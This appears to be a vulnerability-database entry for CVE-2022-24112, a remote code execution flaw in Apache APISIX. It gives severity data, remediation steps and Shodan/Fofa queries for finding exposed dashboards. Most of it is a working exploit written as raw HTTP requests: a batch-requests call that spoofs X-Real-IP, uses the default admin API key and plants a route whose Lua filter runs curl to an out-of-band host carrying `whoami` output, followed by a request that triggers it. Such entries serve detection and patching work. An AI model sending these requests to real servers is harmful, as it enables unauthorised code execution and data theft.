| Title | Apache APISIX - Remote Code Execution |
|---|---|
| Author | Mr-xn |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`). |
| CVSS Score | 9.8 |
| EPSS Score | 0.94435 |
| CVE ID | CVE-2022-24112 |
| CWE ID | CWE-290 |
| Shodan Query | title:"Apache APISIX Dashboard"http.title:"apache apisix dashboard" |
| Fofa Query | title="Apache APISIX Dashboard"title="apache apisix dashboard" |
| Tags | cve cve2022 apache rce apisix oast kev intrusive vkev vuln |
A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX’s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
POST /apisix/batch-requests HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.2
Connection: close
Content-Length: 581
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
{
"headers":{
"X-Real-IP":"127.0.0.1",
"Content-Type":"application/json"
},
"timeout":1500,
"pipeline":[
{
"method":"PUT",
"path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1",
"body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/38F6wryRzhY4amztsuE295EMuuL\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl d5jm5r9le0o3ed6g2ds07caz1ry9p9nmy.oast.fun/`whoami`'); return true end\"}"
}
]
}
GET /api/38F6wryRzhY4amztsuE295EMuuL HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24112.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-24112.pcap
N/AN/A